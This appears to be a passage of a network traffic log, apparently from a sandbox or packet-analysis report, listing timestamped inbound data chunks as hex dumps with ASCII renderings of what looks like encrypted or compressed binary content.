2021-12-01 08:15:22 UTC	1809	IN	Data Raw: b4 05 74 4d 27 8c b1 81 f0 81 f2 46 e8 1e bd ba 3a 58 55 19 1d 67 b7 2d fa 44 1b 4b 1f 4e f8 68 d1 e3 f4 d3 45 10 a3 b3 af a7 0b 9f 63 86 b6 f5 7a b4 d7 27 a7 0f e4 18 15 de 37 4e c1 fc 5f cb 80 8e 78 6b 67 3a ed b1 4f 1f b5 01 bb 97 56 d0 36 8e 2a 36 76 4c f1 08 9e 36 20 86 21 01 af 24 c2 57 40 99 8d 57 b6 02 13 a9 29 8a 39 fc 4f 46 cf 1f 4e cf 3b e5 26 e1 5d 7c 45 49 9e ea 8b b9 25 71 aa d5 1f 54 75 92 bb 9a 41 fd 84 cb 0a c1 fb 9a a8 36 5e 68 d6 8e 2a c4 40 0d 81 0e e9 cd 20 7a 62 05 5e 2b 68 af 6f e5 18 ac 8d 15 55 23 88 fc 6c 2f 99 87 e7 f2 d9 4c e7 9f 74 fa 8d 57 1b 29 5e 51 54 4a 51 f9 20 02 f5 d6 6e 0a 78 3a f2 d5 cb b1 56 40 78 1e 06 63 1a b5 1f ed f1 37 e0 9e 95 25 2c e9 af 42 2f bc 84 00 1e f6 65 2b 39 bd f5 73 78 3f d5 33 e0 da 48 00 69 a4 6f Data Ascii: tM'F:XUg-DKNhEcz'7N_xkg:OV66vL6 !$W@W)9OFN;&]\|EI%qTuA6^h@ zb^+hoU#l/LtW)^QTJQ nx:V@xc7%,B/e+9sx?3Hio
2021-12-01 08:15:22 UTC	1825	IN	Data Raw: 04 a0 d5 b0 0d 75 b6 c2 84 3f 8d 49 1a ee b6 07 ad 28 d4 b5 bd 3e 2d 86 27 98 67 f0 b1 a6 2b 41 25 9d 99 21 f3 c0 8d 2a bd 0e d4 83 17 cd 20 b3 46 9a a8 5a 09 13 6a 3a c5 8e 5e 51 59 f4 16 17 6e 26 80 0f 22 97 00 ba 2d a1 db d7 02 c3 c8 a0 03 ad c8 f4 9a 32 34 f9 93 54 38 ed 58 0c 56 36 4e 13 34 b3 58 07 bc fb 4e 98 e4 2d a1 b4 a0 94 1c 7c 9a cd e4 d3 ea 80 f8 7a 89 f7 4d ff 57 64 13 f1 bb 8c 17 1e 23 4e a3 c3 80 5c a2 80 a2 42 1b fa 01 78 35 2c 5d 31 99 41 e4 c5 0e 66 ce a2 c7 37 c1 c2 a6 1f e9 3d 86 25 a9 dd 42 a2 fb f3 05 3a 9a 23 0d 7b 68 78 cb 83 17 28 f5 87 12 c1 b0 54 e3 5b 7a 55 12 a4 be ca 8e 7e a7 27 89 2c 18 bd 37 53 d3 f7 d2 7c 97 36 61 0e 7c d8 d8 66 63 bb 8b 2b 65 05 46 94 3a 85 96 13 4d 2e 0c 8d 7a b8 df 82 fa 12 c6 d8 ba e5 b0 31 05 b1 38 Data Ascii: u?I(>-'g+A%!* FZj:^QYn&"-24T8XV6N4XN-\|zMWd#N\Bx5,]1Af7=%B:#{hx(T[zU~',7S\|6a\|fc+eF:M.z18
2021-12-01 08:15:22 UTC	1841	IN	Data Raw: 23 bf 55 26 83 45 4f de c2 92 58 06 16 8c aa 81 4e 4a 26 24 9f 2a b0 56 7e bd d9 68 15 c3 14 fe cf 12 b2 38 9d 75 48 f0 d0 e9 38 86 22 6a e9 eb 44 fe d8 6e 7d 62 a2 9c ba 51 16 e7 54 85 99 c5 39 2d 0c c2 26 cf 5a a0 6b b3 d4 6d 03 59 ca 01 37 e5 c9 fd bd 4c e5 9f 3b 7f 5d 2a 33 c1 c7 48 27 3b 45 c2 66 f5 86 50 6d a8 c9 d4 39 b4 d2 26 8d 6b 4b 2d 06 dc e6 33 26 b2 6d 69 e1 d2 e7 ef 17 73 fd 18 a5 aa 40 f2 63 2f a6 6b 1f 5e 72 8e e5 b4 3b aa 94 f0 ab 71 22 8d e6 0e 7b bf 48 a4 59 e7 d8 49 45 0c 8a 61 d4 e8 17 af 13 1c ee e4 fc 7a 4e b0 4e 57 2e a7 82 75 99 89 b8 ee e9 99 63 d0 2c fa 55 1f d5 6a 7c 15 29 0a dc 7a 39 1a fa 18 39 37 2b de 47 d5 3e db 99 37 4d 6d 9f e2 60 c8 98 ff 97 d9 3b da a4 3e 45 8f e7 3b 0d 12 a4 11 1d 75 f4 cd ec b9 a3 27 0d 6c 9f df e8 Data Ascii: #U&EOXNJ&$V~h8uH8"jDn}bQT9-&ZkmY7L;]3H';EfPm9&kK-3&mis@c/k^r;q"{HYIEazNNW.uc,Uj\|)z997+G>7Mm`;>E;u'l
2021-12-01 08:15:22 UTC	1857	IN	Data Raw: fc 27 be fb 77 0f f7 da 6b 77 a2 0e 25 1b 9e 50 11 5b 34 6f 04 af 36 08 31 3a 5d 42 4f 27 78 8a 5b e3 fa 12 ac 53 34 33 56 0a ae d9 4e 6a 90 ea 3e 55 27 91 7b 94 2c 23 cf 91 0f 80 0d e0 7f 5d 7a 69 78 bd f9 43 0a e2 97 fb 9b 67 8d a5 7f d6 69 a4 28 84 17 fd 79 6b 03 52 4f 4b e9 eb a5 06 e5 21 f0 cf 15 c9 b6 63 8d 2a 14 18 9c b9 cf ca 7d d9 36 6a 6c 78 06 4b 05 78 5c dd 3a d7 8f 04 1f c3 60 0a 2b 9f 82 0d a0 b7 d5 42 ab d7 c3 07 e4 c2 59 79 1e 3d db 15 76 fc d1 a1 d4 89 a9 0c b2 80 16 96 f2 97 58 13 18 55 6c d2 42 e2 30 ab ea e0 56 01 12 44 27 3f 1e 68 7d 60 b2 49 fc b0 3d ba 26 53 6f 1b 58 4e bf 36 0b 76 45 65 85 b9 1d e3 81 21 ad fb e7 1b e4 3c fc c7 97 e0 87 21 15 5a 3d 5c eb ae 4b 33 d6 ea 48 3a ca 5c d8 32 ac ee 5a b0 ab 90 7b 98 34 b3 e6 6a 7b 18 a3 Data Ascii: 'wkw%P[4o61:]BO'x[S43VNj>U'{,#]zixCgi(ykROK!c*}6jlxKx\:`+BYy=vXUlB0VD'?h}`I=&SoXN6vEe!<!Z=\K3H:\2Z{4j{
2021-12-01 08:15:22 UTC	1873	IN	Data Raw: 6f 31 54 dd 52 ac ea eb 30 40 00 eb 5a a5 20 2f 5e fc 22 0c b4 3f ea 1c 5c 1d 31 67 1e 82 0f 23 4e 73 54 c2 8c 91 3c e8 09 18 26 d2 8f f2 ef c8 a3 e1 21 24 a1 d5 86 7f 67 00 05 68 f5 7e c2 7b 33 ae 9c b6 57 84 61 fd 44 1f 82 1e 85 46 32 a0 6f 5c 7f 16 03 2f 54 8b 3a b7 92 ab 3e a8 ca 0d de cd 9b f7 00 0a 90 93 ab 31 fa 8c 45 6e 85 36 2d c4 61 db 86 b7 3d 76 e7 04 40 80 f8 7f 43 5a db 77 c6 aa 8a 42 aa 1c be c8 0b 2a 71 b3 a1 70 8e a2 9a 38 f7 f6 0e da a9 df 13 ff 4e bd 41 3c f9 48 35 be 1d 5e 7a 96 1c 57 35 99 37 d0 4e 25 58 3f 4c 95 57 63 5a 58 93 20 f8 c3 46 e8 11 4b a9 f3 13 6a 4d 06 fb 30 5f b2 44 7d b2 50 67 a7 31 ef 4e 77 77 9d 8b 73 c8 91 ef ec da 21 95 e9 6d 77 fd 82 fa b2 0d 3f 67 04 41 92 69 99 7d 74 65 a5 3d 38 7f d1 97 6f 90 c2 81 42 0b 2b b9 Data Ascii: o1TR0@Z /^"?\1g#NsT<&!$gh~{3WaDF2o\/T:>1En6-a=v@CZwB*qp8NA<H5^zW57N%X?LWcZX FKjM0_D}Pg1Nwws!mw?gAi}te=8oB+
2021-12-01 08:15:22 UTC	1889	IN	Data Raw: 2b 81 45 df 9b 11 37 9c 25 5b 5b 27 7d c5 8f b9 8d 13 28 fc 4d 99 a2 d8 35 bf 9b c8 38 c3 6f 75 f6 e7 e4 f8 f3 79 91 6b 83 1b fc 49 5e 0d e4 2d 5b 51 48 8b 70 43 35 b9 9b e2 41 19 9f f8 3f 55 52 20 8c 0e 7b b5 01 e4 20 6d 62 4a ef 99 d3 db b6 05 21 32 af eb 21 52 05 75 06 4c ec de ea c3 bc bf aa c5 6f a1 f6 29 99 35 93 54 bc 28 39 7d 4f 7a cc 70 b6 51 90 9c 81 04 0c 58 a7 47 df ad cb 5e 67 93 4e 0d e2 77 93 36 d0 80 0a 33 48 cf c6 e8 f2 81 6f 63 00 f2 4b 02 ff 34 c7 4a 6b 30 b3 0f c1 ef 9b 5c 47 dd 86 5c 8f fe 6e 3c 0e fb ae 15 39 75 31 a8 f4 6a 70 9c f6 3e 38 aa e2 57 6e 93 50 5c e3 a9 fd 75 6a f4 77 a1 a0 1e 39 e8 97 f6 20 10 e2 9e a5 69 f8 2f 6e 10 9a 84 ee 02 57 b9 3e f6 2b e8 a0 e0 8a 37 de 08 0f 52 bd 41 6b ff 80 34 a1 c1 c2 66 41 0a a6 07 10 2a 50 Data Ascii: +E7%[['}(M58ouykI^-[QHpC5A?UR { mbJ!2!RuLo)5T(9}OzpQXG^gNw63HocK4Jk0\G\n<9u1jp>8WnP\ujw9 i/nW>+7RAk4fA*P
2021-12-01 08:15:22 UTC	1893	IN	Data Raw: 3e 75 6e 9f f4 93 75 c8 8d 0a 79 22 3a 66 09 ad ab 03 37 8e 65 54 f8 a5 17 5d 70 4e 57 33 c5 37 5d 16 2c 60 5d e1 8d fb fa 04 25 fd eb 23 03 30 c1 84 ce 9a 00 73 8f 05 b9 fa da e4 2b a6 2e f4 16 0a e3 b2 cb 99 8b 5d 75 1b 19 8c 7f 88 c0 51 77 82 54 b5 5c df 95 6c 52 d3 00 eb e7 e6 33 fe a6 dc 6f de 18 07 b8 8b 14 3b e3 a2 83 32 b7 25 9f e6 5d 85 97 3d 39 61 df a9 91 ee a1 22 6a 24 84 5d cf ff 05 8c 10 08 8f ae 91 f7 01 9d 6c 7a 83 58 36 b5 b0 38 2e d8 fe 6f 64 58 87 d5 55 f6 5e 72 48 92 43 dc 57 70 61 b7 9c c3 07 fe 8e 53 23 5c 73 81 3b 8f af 74 41 a7 fe 6b 4c a0 cb 1e d9 d6 2a 00 df 66 8f 0f c7 7a 21 04 e6 fe 8f 95 9f 9a fc 37 23 ea c5 fb 18 4d 53 e3 9f d8 f8 03 59 dc ec e2 7b 8c 56 55 31 e7 75 15 ee 91 36 7c e8 89 94 57 94 c6 3e d8 04 f4 0a 93 27 75 10 Data Ascii: >unuy":f7eT]pNW37],`]%#0s+.]uQwT\lR3o;2%]=9a"j$]lzX68.odXU^rHCWpaS#\s;tAkL*fz!7#MSY{VU1u6\|W>'u
2021-12-01 08:15:22 UTC	1909	IN	Data Raw: 0d f1 67 50 be 06 75 8e 1b a8 54 ca ea 26 06 e7 3d 0f f5 0c e8 ff fb d9 62 20 f0 81 88 5c fd cf e1 1e 33 11 90 bf 4b 07 40 42 89 c4 bd 17 81 82 69 2d 15 2d ad 78 01 59 dd ea 97 8a c0 52 c0 fd 62 fe d5 de 5d 0a 91 2e 0a b3 23 b7 f6 8e cc 9d 46 91 94 18 73 57 19 ba 56 d2 8a 03 05 e6 05 a9 6d d8 c9 f7 2e be a2 dd 22 55 66 3f a1 17 35 a9 61 73 70 1a 9c 83 a6 ce fa a8 99 d1 7f 9f e2 c2 35 4b 92 c9 02 e4 84 57 df cb cd b2 65 55 0b 82 fc bb 91 51 ef 23 56 6a fe 9c 75 75 54 ce 8b 31 b0 e5 2b 48 b3 71 0f b5 67 00 7e 8f ca e2 c2 60 a1 ed c3 8d ea ee 61 7e 9d 1e 7a 3e 9f c4 c8 02 8a 32 a7 af 08 36 b1 c6 89 c5 72 0e c9 ce 98 d8 9a a3 42 4c 66 82 31 9f c8 0b 07 06 88 16 bf 38 6a 5a 64 8f d4 dc 65 5e bb c2 84 e4 d8 09 86 a3 2a 85 7c 5d 2c c1 cc b6 b2 03 8b 2e f4 a0 40 Data Ascii: gPuT&=b \3K@Bi--xYRb].#FsWVm."Uf?5asp5KWeUQ#VjuuT1+Hqg~`a~z>26rBLf18jZde^*\|],.@
2021-12-01 08:15:22 UTC	1925	IN	Data Raw: 47 6b 99 84 4c 00 de 70 50 12 c4 c6 db 41 07 06 48 ce 30 64 5e 27 9b 3c a8 b6 fb 28 1e 7d 5e 31 92 13 45 61 b7 35 bc 47 1d ff ca 12 7f 3b 93 c5 01 ab 5f 1c 86 6a 20 45 28 ac e2 08 45 30 5a 4e 11 31 95 d9 b5 31 0e 18 dc 38 c3 66 5f f8 30 dc 31 0c 46 61 16 c3 e6 19 d6 59 8e ee 75 c9 c1 a8 13 fe 25 b2 7d 2a 98 08 43 6e da 79 af f7 3e c9 d2 b0 24 d9 58 c7 34 7d de fa ff 63 2e e7 17 eb 3d 7d 52 f0 2d 03 c5 a8 e2 9e fe 38 2e 09 5b b1 b0 60 81 11 da 60 40 29 0c b5 a3 06 b4 74 d2 81 cd 86 eb c2 78 86 8a d1 9b c6 39 47 c8 15 5d c4 72 d2 b1 76 a6 c8 03 cc 78 a9 06 24 e7 79 47 46 1d 85 b3 c4 76 4d 26 29 9d d9 7f 0a bd ad 01 81 0a 6d c7 b3 35 32 e2 86 e2 a4 48 93 08 31 be eb 77 47 a7 f5 cb 5a 2c 05 47 f9 d5 6e 9c 37 11 57 d2 77 94 95 53 7e 30 cf fa 47 d3 b8 0b 5c c9 Data Ascii: GkLpPAH0d^'<(}^1Ea5G;_j E(E0ZN118f_01FaYu%}*Cny>$X4}c.=}R-8.[``@)tx9G]rvx$yGFvM&)m52H1wGZ,Gn7WwS~0G\
2021-12-01 08:15:22 UTC	1941	IN	Data Raw: 46 09 3b 9c cb 26 46 0d 58 1e 87 60 31 bf e0 f4 34 7e b3 10 6e 35 08 bf 29 6f 1a 27 02 22 f2 4c d8 ed bb 0e 05 83 ff 77 fd 9c 93 4b de 0f 6c bf 17 42 c2 32 a8 22 b1 bd 42 7f 4b af 12 7e e4 59 fb 1d 0d 1b e1 49 f5 f1 cf ab 50 53 d0 e7 51 38 e7 16 e3 f1 7d 23 84 7e 20 13 be df 85 cf 60 ad e9 54 61 22 c1 bf 28 bb ae dc a4 a7 8b 0c 4f d3 54 9e 05 83 6a 9c 2b 60 01 52 e5 62 6e b3 68 ea db 16 a2 33 b5 c5 99 62 72 53 61 e1 78 72 6b bf 98 74 d0 cb f6 e6 dc e2 f4 7d e5 dd 2d 39 84 01 75 90 d0 13 e7 76 a1 7e 65 97 81 43 e7 81 92 fd 97 e0 03 76 5e fe 88 bf 67 94 87 37 30 b3 dc 5d 1c 14 b3 f5 e5 29 2a 80 55 9f b3 35 d8 83 fb 50 03 65 df c3 a2 f6 3b 38 25 62 ad 65 5d 54 5b d9 41 6e b9 fd 04 b4 ce b0 75 ff ce 29 9f 34 38 a0 21 71 36 86 2c 4d 4e 36 b5 6b 2d 0d e0 2f 61 Data Ascii: F;&FX`14~n5)o'"LwKlB2"BK~YIPSQ8}#~ `Ta"(OTj+`Rbnh3brSaxrkt}-9uv~eCv^g70])*U5Pe;8%be]T[Anu)48!q6,MN6k-/a
2021-12-01 08:15:22 UTC	1957	IN	Data Raw: 1f 46 69 b3 e4 13 98 b3 01 87 cf 9a e8 ae 16 26 3c 42 d1 9a 48 5a f9 5d 96 32 4a 05 30 08 c3 40 67 91 79 97 d3 4e 51 54 8f b1 87 71 b9 5f 35 7d da 8c d9 3c 6c d2 bd 5a 8a 26 f7 5f 46 ed 7c 48 67 f6 38 e4 57 94 be a3 21 56 7e b4 0d da 7f b5 2d 85 18 b6 b4 3b 71 a8 04 de 95 bc cd eb cb 9b 47 1b a4 39 d8 d7 19 b0 1e d8 f6 aa b2 44 b8 b7 27 9b cb 52 dd 59 bb c8 19 70 71 0b ed 45 48 0a 53 eb 6d d0 86 ec 0b c7 24 c7 a6 b6 e6 a8 a8 5e 8f 2a 85 b8 13 b9 d0 55 e9 c2 22 a7 67 bb 04 5c 09 a0 76 c9 65 fd 27 5c 51 35 c1 b2 3f 5e 1a d9 92 11 a0 a9 27 c8 dd e1 95 fa 88 39 5a 57 1a a8 d7 1b 19 23 c2 2f 4e d7 90 0d e6 67 a5 d1 d0 05 0f 2d 99 15 8a cc 4e 79 45 92 9e d7 d9 47 3d dd fc aa ea 30 5f f8 43 8d 2c a7 d1 d2 5b 12 d4 d0 b4 3c 49 84 06 5d 5e de 4f 3b 07 49 48 84 48 Data Ascii: Fi&<BHZ]2J0@gyNQTq_5}<lZ&_F\|Hg8W!V~-;qG9D'RYpqEHSm$^*U"g\ve'\Q5?^'9ZW#/Ng-NyEG=0_C,[<I]^O;IHH
2021-12-01 08:15:22 UTC	1973	IN	Data Raw: 0f 44 94 36 58 f7 ae 71 4a d8 4e 47 6e be d7 f1 77 e1 94 f0 8c 0c 3a 49 45 f7 13 09 de c8 f5 40 03 83 68 3d d6 f3 9a cf 4f 76 80 fb 3b a2 4f 14 bb 3e 4f 9b ed ad 9c 9a c5 01 d9 b5 41 28 e9 c2 41 30 3c 26 d0 95 ae ef 34 e2 71 74 5b a3 88 00 ab 7e 35 cb be bb b7 33 dc 4b 6a 20 ff d7 ec b5 d2 b1 0d a6 08 5d c0 c8 3f 0d 16 3f 54 0d ba ca 4f 14 39 ea 4f 3a 17 0e 86 db b0 18 fe 84 32 0b 34 c4 6f 7a 4f 28 c9 9c 63 37 c8 1f 5d a7 37 c2 f6 13 55 8e af b2 c0 d9 47 fc fd 98 3e 87 14 bf 50 12 76 78 ae b0 fe de 9f 7a 8c ac 2c 16 c4 9d 8b 8d 06 bb ab b7 15 25 5f 46 a6 3c 99 70 50 21 87 b4 46 bd 27 dc c3 9e 87 e9 51 ed f8 3a 53 f0 ec 7d 53 c2 45 b0 27 1d f7 b0 3a 02 a2 ad 1a ef b4 6d 36 7c 7e 73 27 ed 77 ee 23 67 b3 1f 17 10 cf f7 30 4e e1 21 ba ec 6e 39 ae 35 52 54 f4 Data Ascii: D6XqJNGnw:IE@h=Ov;O>OA(A0<&4qt[~53Kj ]??TO9O:24ozO(c7]7UG>Pvxz,%_F<pP!F'Q:S}SE':m6\|~s'w#g0N!n95RT
2021-12-01 08:15:22 UTC	1989	IN	Data Raw: d5 07 f2 58 bd ea 2e 69 57 72 5d 8f 29 a3 08 03 70 71 b4 e7 f3 8f 3c 86 57 98 1c a7 8a 87 ae 25 09 8b 92 67 1a 1d 5d 38 eb d0 5f 6a 65 62 2e 96 26 d2 df e6 b1 d4 c4 a2 71 50 b1 82 6b 0c 1c 8e 4b 4f d4 bf 68 bd 52 90 62 9c 22 48 cb 04 5e 45 f5 fa 79 12 9c 12 33 32 e4 3c f1 3f 8e af bd f4 ba 6e a9 38 c0 66 20 d6 8c 6f 5a fa ee b2 05 eb f4 2a 18 b9 10 c2 14 7f a5 19 55 38 ca 3e da af a9 d5 85 b9 35 d5 58 d6 b6 22 4c 2f 33 9b 0a 6a 52 e8 d9 21 c0 38 43 04 91 d4 c0 36 5f ac 5e c1 2d 23 65 b5 bc 74 ed 64 27 0b ec bf ee ef 75 cd a3 1c 9c ed 5a b9 d0 96 c0 59 6f 7b b2 16 25 c1 07 c0 3a e5 df e6 44 a7 c9 c2 cf 65 f4 bc 82 44 e7 a1 b8 2c 4d de ca a5 f3 3d 6b 14 00 de a0 8f 9d ea 96 3d 69 f6 42 3d cd 93 a3 c0 22 f7 1a a2 b9 99 d7 e1 70 cf 4c fa ed 34 f6 5d 68 50 99 Data Ascii: X.iWr])pq<W%g]8_jeb.&qPkKOhRb"H^Ey32<?n8f oZ*U8>5X"L/3jR!8C6_^-#etd'uZYo{%:DeD,M=k=iB="pL4]hP
2021-12-01 08:15:22 UTC	2005	IN	Data Raw: 21 ae fc 8e f8 d8 96 06 be fa 2d 94 95 b6 24 dd f5 ad 7b 8d 8d 52 c2 54 64 70 45 e0 06 79 87 d2 fb 6a 3f 14 dc 50 30 d9 d8 2e 22 99 2c 22 d8 54 40 24 f3 d7 a0 d5 8f c3 f9 b0 d7 db 84 b5 e2 3c 32 40 60 19 24 e3 1e c6 9d 5b 4a d6 cd b1 2e 53 78 0c 4d 34 f8 62 cf cb 95 27 36 ec b5 9d 87 2a a8 e4 90 63 89 54 ef 59 74 6c dd 87 f6 d3 b8 fb 7d 11 a2 62 b4 cd 25 9f 89 e3 57 a6 20 8b 11 aa d8 21 8f 78 45 ab 22 5c b6 18 b3 cb 3d ee e9 32 85 cf 48 51 2c 96 ae ef 33 0b 38 59 71 63 66 5b d0 16 91 33 27 60 7a c8 f2 30 5f 0a cf 2c de 15 6b ea bd 57 23 fe 19 46 eb 62 e2 e7 9d 63 10 12 6e 4d e6 f1 2b 03 4e 21 85 76 ed 4c 63 0c 16 9a 7f 70 c9 76 0b ac ed 9e 41 f1 a5 50 d0 4c 1a 68 3b af 25 78 21 5d 57 c1 5b 54 58 51 f1 d8 bc c8 ad d4 75 cb 6f ed 3b 57 0a 3f 72 0b fe 4f f0 Data Ascii: !-${RTdpEyj?P0.","T@$<2@`$[J.SxM4b'6*cTYtl}b%W !xE"\=2HQ,38Yqcf[3'`z0_,kW#FbcnM+N!vLcpvAPLh;%x!]W[TXQuo;W?rO
2021-12-01 08:15:22 UTC	2021	IN	Data Raw: 8a a3 5a a0 9b da 2f b5 7b d5 31 73 1b 4e f0 a0 3c 1c bc d2 94 48 2e 13 13 e3 c4 e6 a1 e7 0b 6a 25 22 c9 4a 22 e3 0e 3d fa c3 0f 02 3c 2d 38 f1 03 70 c9 19 bd 07 a3 ef c5 04 e1 9d 9e e9 b1 28 d3 54 c6 81 7f 5b 14 78 32 80 45 76 96 33 8e af c0 be e4 2f c8 bd 43 e4 6d f4 fb 8d ac a7 ca 30 ee fb 5f 4a cb 1d 76 6f bf 8e 07 37 bc cc f6 83 24 5d f9 d6 ce bc 13 62 4e 43 04 f9 0b a0 e6 be dd 31 d1 05 58 c8 dc ec 32 03 0d a1 f8 ca db e1 ed d4 a8 a0 0e ec c0 88 c0 98 ca f5 25 b7 d8 47 71 81 8a b4 f7 50 2c 34 e3 62 df 52 0c e2 54 aa d0 02 1e 14 fb f9 19 4a 73 3e 71 f9 0a 49 dd 3c 6e 77 08 81 31 c2 98 34 f0 ff 30 28 13 37 67 fd b1 01 72 21 1d 72 9f 6a 25 db 88 45 9a 33 61 aa ce e6 71 39 48 71 91 5e 66 7b 73 71 bf 6c f7 43 7d c1 55 fd fe 1b c6 86 00 2e d4 30 b0 16 3c Data Ascii: Z/{1sN<H.j%"J"=<-8p(T[x2Ev3/Cm0_Jvo7$]bNC1X2%GqP,4bRTJs>qI<nw140(7gr!rj%E3aq9Hq^f{sqlC}U.0<
2021-12-01 08:15:22 UTC	2037	IN	Data Raw: 6a e1 3c bc 28 bb 75 4e 75 f0 2c 8b 49 be a6 bf e9 ec 5c 55 eb 5e 47 f3 0e cc 76 a5 54 b2 6b 62 93 b9 be bd be dd 4e 7b df a4 c3 64 8f c1 da 22 bc 03 04 5b a7 0d 41 38 0d 15 bc 20 49 04 fd bd 21 18 1a 85 1e 1d 26 d9 1b 83 60 9e c6 ae f9 9b d8 17 93 e3 5a e3 70 7e 61 22 b1 bc 1d cf 48 40 0f 00 da c6 79 b3 a0 b1 7d 30 5a 8b e3 89 12 3e 68 43 c5 f2 86 f6 e0 f2 9c 07 1d 75 43 ef f9 86 4b 2a 17 30 c6 98 b8 59 68 c5 96 43 4c eb b3 12 f0 fd e6 85 c3 20 07 e4 a1 11 78 44 6a 2a db 6b 75 d8 d7 e3 a5 7f 4a 54 41 43 2c 76 0b e3 de 1d 51 ba 8f 08 3d 80 80 7c fc b8 ea f2 46 21 7c 55 77 e4 fc 10 97 0b ea 90 19 22 0a 0c bc 7e 2f b4 85 33 58 04 43 af 48 21 05 87 2a 55 0a 37 12 97 24 33 a9 a6 58 ef 4a 99 b3 8b 76 35 4e c4 e1 02 7a 49 58 28 95 3e 0f 83 25 c5 db dd bf 77 7c Data Ascii: j<(uNu,I\U^GvTkbN{d"[A8 I!&`Zp~a"H@y}0Z>hCuCK0YhCL xDjkuJTAC,vQ=\|F!\|Uw"~/3XCH!*U7$3XJv5NzIX(>%w\|
2021-12-01 08:15:22 UTC	2053	IN	Data Raw: 42 a4 a8 ac 86 6c c0 a6 e1 53 50 17 e1 91 89 38 f8 cb 61 cc 6d d6 e2 bf 84 0e 15 20 9d a4 0d 78 66 f4 55 f9 64 43 4c 26 db 4f 43 8e c6 49 87 e8 ca 5f 51 a8 18 38 74 ca ca e7 4d e7 fc 69 3c 09 ab 86 08 58 8c 7b 63 ef 8e 9f d1 d9 35 a3 bf 1d d2 9b f5 6b 50 e5 02 ea 56 fa f5 1a 55 11 f1 a3 be 74 97 ce cf 74 1f 4f d4 47 c6 15 5f c9 3e ed db d8 1d 72 0e a1 0e 96 46 fd 91 97 d5 03 da c7 94 70 9a 5d da 27 94 b2 11 3c 0c fb 7f 91 d3 86 9e cf 2f 12 58 5b b0 63 e4 74 a6 60 d4 6f bc bb 50 b7 59 b9 68 4c 3f ef 75 c8 43 3f d4 1d b0 41 05 70 d2 d9 65 06 6c fb 57 86 09 df 7d 82 8d 57 4a f2 42 48 5f f8 95 e8 40 83 d5 ca 1f be 67 d5 ec 17 fb f4 bd 4e 1c 7c 36 50 06 be 3e a2 9e 81 30 81 74 c4 5a a4 b6 76 37 e3 0d 62 51 23 9f 30 94 cd 28 16 35 bf 0b 7d 21 92 40 d5 a4 9d 70 Data Ascii: BlSP8am xfUdCL&OCI_Q8tMi<X{c5kPVUttOG_>rFp]'</X[ct`oPYhL?uC?ApelW}WJBH_@gN\|6P>0tZv7bQ#0(5}!@p
2021-12-01 08:15:22 UTC	2069	IN	Data Raw: 3e e9 0c e8 25 bd 64 d8 21 bb 51 c6 32 cc 39 53 5b 1b f1 76 4c 59 27 da 1c db 23 55 5f fd 6b 39 c6 39 61 1d fb 94 7c ea 2a bf f2 87 a5 91 aa 49 51 a8 e0 5a 05 c1 22 a9 b3 ad cd 68 35 26 b6 07 65 2f 3b 00 1c 66 3c df 83 73 ee 21 50 17 91 5e f1 da 81 fa f1 06 b5 5c e6 43 a0 7f 9b fb 3c ea 46 73 f7 c8 fb cf 97 38 29 44 3b 7e aa 8b 19 ad 6f 3a 04 23 89 bd 65 3c 56 c9 11 28 75 f9 32 1d 5b 42 81 83 5c 50 89 64 0a 46 1d 78 06 d2 2c ca d7 9a 96 b2 cb d8 f2 13 5c 4a c0 90 57 a8 59 99 b4 78 57 bd d8 bb e5 39 24 51 e3 6d da 86 f7 48 16 a0 fa 21 91 52 8b 08 af 55 74 51 3a f9 63 1a 77 e6 8f a1 d0 6c c9 0b 95 90 cd 41 9a 95 dd 96 4d 8d 70 dc 8b a9 2d 0e d2 4c 00 17 80 da 84 cb 1c e9 40 65 82 fd fe 54 01 f8 69 73 49 64 ad e7 a9 9d ed e3 3b b4 d9 3f 79 db 61 6f 1e 87 57 Data Ascii: >%d!Q29S[vLY'#U_k99a\|*IQZ"h5&e/;f<s!P^\C<Fs8)D;~o:#e<V(u2[B\PdFx,\JWYxW9$QmH!RUtQ:cwlAMp-L@eTisId;?yaoW
2021-12-01 08:15:22 UTC	2085	IN	Data Raw: 69 9d f3 f4 48 bc 71 43 f3 87 5c 5a 14 63 ce d8 31 6d 84 01 ca f9 81 56 43 52 33 e4 1a 39 de f8 3b c9 bd 1a b4 18 65 70 c9 e7 91 a9 24 6e 95 e3 8d 2e de 0b 5d b3 77 69 d2 a2 dd b7 fe 4a 5e 96 33 98 33 d8 e4 fb c7 b1 3b c3 05 dc 25 ac a7 c2 f6 7d 23 ce 45 f4 01 6d 0d 4f ac b1 cb 20 9c f8 8e 99 11 74 69 84 a3 bf a5 87 37 43 b9 4d 9a 51 ce c3 cb 54 d2 a4 00 db d9 c6 c0 9f 7a 89 b5 56 c2 ba 3f 9e d5 f3 e5 5e e6 df dc 4f 2d 29 75 bf 1e b6 a8 30 e7 47 83 64 ea 57 f0 2b d4 6d fa f5 4b 1a 58 0a b7 d0 c5 93 aa da e3 86 1e 29 0f 78 cd 84 fd f9 0b 50 b1 79 5d 04 60 87 49 89 de 89 1a 10 0c 56 a4 2a 41 a2 39 ee 10 30 b0 51 b8 0d 94 c9 25 f7 e8 68 05 26 31 ca 8e 89 06 f9 5e 67 67 8c d7 5a 68 f0 ff c0 52 98 b8 0e 1c c3 a5 08 89 f8 54 00 18 f8 54 2f fa 7e 81 e8 21 67 bc Data Ascii: iHqC\Zc1mVCR39;ep$n.]wiJ^33;%}#EmO ti7CMQTzV?^O-)u0GdW+mKX)xPy]`IV*A90Q%h&1^ggZhRTT/~!g
2021-12-01 08:15:22 UTC	2101	IN	Data Raw: 28 56 f5 7e 42 f2 87 d4 86 86 44 43 3b 2d 79 cd 41 07 df b3 a7 38 ba 3a 70 7e 7a bd ce 15 c2 50 53 96 a5 9d d3 1f 75 88 1c cb 3b 47 83 2e c5 e2 8e 72 2f 58 7d af 12 ab 52 05 2e 8d dc 0c 17 5d d9 0b 51 ef d9 2c 3f d1 16 d1 95 e6 4c 9a 6c d8 fc 0e 8f 89 71 4b 54 c5 89 0d a2 ab ed f9 59 e4 36 3c bb 0e 8c b6 81 20 6c fa bf 2d 50 4a ef 50 4e 66 80 b4 04 ef 9f a9 c1 de f0 5e 58 5f 7b af 3f 45 dd 53 a6 bd c2 c8 20 5d 9c a8 c1 ee cf db eb e2 31 7f 26 aa 38 3f 6a 15 79 72 a9 f7 24 b2 41 ee fe a2 65 6a d1 64 55 e5 93 3e ce c0 80 e0 50 56 76 1d f7 e3 f8 5f af af da 70 b2 f0 61 2e 8a 71 bd 0e 2a 9c fd 8d f4 0c ed 4e a1 e1 0d 5b 9c 6b 34 40 69 a5 08 54 06 2b 08 71 23 4f 23 2c e3 73 de 9e 40 6c 84 2e 93 76 7f 06 33 dc 85 ff cb f0 9f 79 f7 8d fc 